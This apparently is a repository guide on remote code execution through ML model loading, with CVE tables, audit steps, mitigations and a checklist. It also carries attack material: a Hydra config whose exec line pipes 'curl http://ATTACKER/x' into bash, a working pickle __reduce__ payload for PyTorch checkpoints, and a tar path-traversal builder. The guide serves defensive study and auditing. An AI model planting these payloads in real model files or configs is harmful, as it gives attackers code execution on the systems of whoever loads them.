abelrguezr/ai-models-rce

AI/ML Model RCE Security

A comprehensive guide to understanding, testing, and mitigating Remote Code Execution vulnerabilities in machine learning model loading systems.

Overview

Machine Learning models are commonly shared in formats like ONNX, TensorFlow, PyTorch, etc. These models can be loaded into developer machines or production systems. While models shouldn't contain malicious code, vulnerabilities in model loading libraries can lead to arbitrary code execution.

⚠️ IMPORTANT: This skill is for defensive security testing and education only. Only test systems you own or have explicit authorization to audit.

Vulnerability Classes

1. Pickle Deserialization RCE

Python's pickle module executes arbitrary code during deserialization. Many ML frameworks use pickle internally:

| Framework | CVE | Vector | |-----------|-----|--------| | PyTorch torch.load | CVE-2025-32434 | Malicious pickle in checkpoint | | Scikit-learn joblib.load | CVE-2020-13092 | Pickle with __reduce__ payload | | NumPy np.load | CVE-2019-6446 | Pickled object arrays (disputed) | | TensorFlow/Keras | CVE-2021-37678 | Unsafe YAML loading |

2. Hydra Metadata RCE

hydra.utils.instantiate() imports and calls any dotted _target_ in configuration objects. Works even with "safe" formats like .safetensors:

_target_: builtins.exec
_args_:
  - "import os; os.system('curl http://ATTACKER/x|bash')"

Affected: NeMo, uni2TS, FlexTok (CVE-2025-23304, CVE-2026-22584)

3. Path Traversal via Archive Models

Many model formats are archives (.zip, .tar.gz). Path traversal can read/write arbitrary files:

• ONNX Runtime: CVE-2022-25882, CVE-2024-5187
• NVIDIA Triton Server: CVE-2023-31036

4. Framework-Specific RCE

| Framework | CVE | Details | |-----------|-----|--------| | InvokeAI | CVE-2024-12029 | /api/v2/models/install endpoint | | NVIDIA Merlin | CVE-2025-23298 | Unsafe torch.load in checkpoint loader | | TensorFlow/Keras | CVE-2024-3660 | Lambda layer arbitrary code | | GGML/GGUF | CVE-2024-25664-25668 | Heap overflows in parser | | Tencent DSFD | CVE-2025-13715 | Resnet endpoint deserialization |

Creating Educational Test Payloads

PyTorch Malicious Checkpoint

Use scripts/generate-pytorch-payload.py to create a test payload:

python scripts/generate-pytorch-payload.py --output test_payload.ckpt --command "echo 'test' > /tmp/test.txt"

Manual example (for understanding):

import torch
import os

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

malicious_state = {"fc.weight": MaliciousPayload()}
torch.save(malicious_state, "malicious_state.pth")

Keras Lambda Layer Payload

Use scripts/generate-keras-payload.py for Keras models with Lambda layers.

Path Traversal Model

import tarfile

def escape(member):
    member.name = "../../tmp/hacked"
    return member

with tarfile.open("traversal_demo.model", "w:gz") as tf:
    tf.add("harmless.txt", filter=escape)

Auditing Your Systems

1. Check for Vulnerable Code Patterns

Use scripts/check-vulnerable-versions.py to scan your codebase:

python scripts/check-vulnerable-versions.py --path /path/to/codebase

Look for:

• torch.load() without weights_only=True
• pickle.load() on untrusted data
• joblib.load() without validation
• hydra.utils.instantiate() with untrusted config
• yaml.unsafe_load() or yaml.load() with Loader

2. Version Checks

| Framework | Vulnerable Versions | Safe Versions | |-----------|-------------------|---------------| | InvokeAI | 5.3.1 - 5.4.2 | ≥ 5.4.3 | | NVIDIA Merlin | Pre-PR #802 | Post-PR #802 | | PyTorch | All (use weights_only) | All (with mitigation) |

3. Network Exposure Audit

Check if model loading endpoints are exposed:

# Check for exposed model endpoints
curl -X POST http://target:9090/api/v2/models/install -v

# Check Triton model-load API
curl http://target:8000/v2/repository/index

Mitigations

1. PyTorch Safe Loading

# ✅ Safe - use weights_only
torch.load("model.pth", weights_only=True)

# ✅ Safe - use torch.load_safe (newer PyTorch)
from torch.serialization import load_safe
model = load_safe("model.pth")

# ❌ Unsafe
torch.load("model.pth")  # pickle deserialization!

2. Model Format Selection

Prefer non-executable formats:

• Safetensors (Hugging Face)
• ONNX (with validation)
• SavedModel (TensorFlow)

Avoid pickle-based formats when possible:

• .pt, .pth, .pkl, .ckpt (PyTorch)
• .h5 (older Keras)

3. Input Validation

# Validate model source before loading
ALLOWED_SOURCES = ["huggingface.co", "internal-repo.company.com"]

def safe_load_model(url):
    if not any(url.startswith(src) for src in ALLOWED_SOURCES):
        raise ValueError(f"Untrusted model source: {url}")
    # Additional validation...

4. Network Controls

# Block direct Internet access to model endpoints
location /api/v2/models/install {
    deny all;
    allow 10.0.0.0/8;  # Internal CI only
}

5. Sandboxing

• Run ML services as non-root
• Use seccomp/AppArmor profiles
• Restrict filesystem access
• Block network egress during model loading
• Monitor for unexpected child processes

6. Model Provenance

• Sign models with cryptographic signatures
• Verify signatures before loading
• Maintain allow-lists of trusted sources
• Use artifact registries with integrity checks

Testing Checklist

Before deploying ML model loading:

• [ ] All torch.load() calls use weights_only=True or load_safe()
• [ ] No pickle.load() on untrusted data
• [ ] Model sources are validated/allow-listed
• [ ] Endpoints are not exposed to untrusted networks
• [ ] Service runs with least privilege
• [ ] Model signatures are verified
• [ ] Monitoring is in place for anomalous processes
• [ ] Dependencies are up-to-date

References

• PyTorch Serialization Security
• InvokeAI CVE-2024-12029
• NVIDIA Merlin CVE-2025-23298
• Unit 42 AI/ML RCE Report
• Hydra Instantiate Security

Quick Commands

# Generate test payload
python scripts/generate-pytorch-payload.py --output test.ckpt

# Audit codebase
python scripts/check-vulnerable-versions.py --path ./src

# Check vulnerable versions
python scripts/check-vulnerable-versions.py --check-deps requirements.txt

When to Use This Skill

Use this skill when:

• Auditing ML model loading code for security vulnerabilities
• Creating educational test payloads for security training
• Investigating RCE vulnerabilities in AI/ML systems
• Implementing secure model loading practices
• Responding to CVEs related to model deserialization
• Designing secure ML infrastructure
• Reviewing third-party ML libraries for security issues